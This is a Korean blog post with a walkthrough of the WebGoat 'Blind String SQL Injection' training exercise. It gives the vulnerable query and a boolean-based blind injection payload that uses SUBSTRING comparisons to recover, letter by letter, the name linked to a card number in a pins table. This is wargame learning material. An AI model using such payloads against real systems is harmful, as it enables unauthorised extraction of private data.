일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |
- 소프트웨어보안
- 웹
- 알고리즘
- 리버싱
- ftz
- 모의해킹
- 순서도
- TCP
- WarGame
- XSS
- CodeEngn
- 웹해킹
- 시스템해킹
- 워게임
- network
- 해킹
- System
- 네트워크
- webhacking
- 드림핵
- Web
- hacking
- 비박스
- 시스템
- Webhaking
- 네트워크보안
- 소프트웨어
- bee-box
- dreamhack
- reversing
- Today
- Total
Without a Break
[WebGoat] Blind String SQL Injection 본문
cc_number가 4321432143214321인 행에 대한 pins 테이블에서 필드 이름 값을 찾는 문제
SELECT * FROM user_data WHERE userid = [입력값]
현재 SQL문은 위와 같다.
101 and (SUBSTRING(SELECT name from pins where cc_number='4321432143214321'),[pin의 몇번째 문자열을 비교할건지],1) > '[문자]')
위의 SQL문을 삽입하여 name의 첫번째 자리부터 유추하면 name 값을 얻을 수 있다.
1) 첫번째 자리
101 and (SUBSTRING(SELECT name from pins where cc_number=4321432143214321),1,1) > 'I')
valid => name의 첫번째 자리는 I 보다 크다
101 and (SUBSTRING(SELECT name from pins where cc_number=4321432143214321),1,1) > 'J')
invalid => name의 첫번째 자리는 J보다 크지 않다.
I보다 크고, J보다 크지 않으니, 첫번째 자리는 J이다.
2) 두번째 자리
2,1) > 'h' => valid
2,1) > 'i' => invalid
두 번째 자리는 i이다.
3) 세번째 자리
3,1) > 'k' => valid
3,1) > 'l' => invalid
세번째 자리는 l이다.
4) 네번째 자리
4,1) > 'k' => valid
4,1) > 'l' => invalid
네번째 자리는 l이다.
5) 다섯번째 자리
5,1) > 'A' => invalid
다섯번째 자리는 존재하지 않는다.
즉, name은 4자리
따라서 name은 'Jill'이다.
'Web > Wargame' 카테고리의 다른 글
[WebGoat] Spoof an Authentication Cookie (0) | 2024.08.26 |
---|---|
[WebGoat] Command Injection (0) | 2024.08.26 |
[WebGoat] Blind Numeric SQL Injection (0) | 2024.08.25 |
[WebGoat] Stage 3: Numeric SQL Injection (0) | 2024.08.25 |
[Webgoat] Stage 1: String SQL Injection (0) | 2024.08.25 |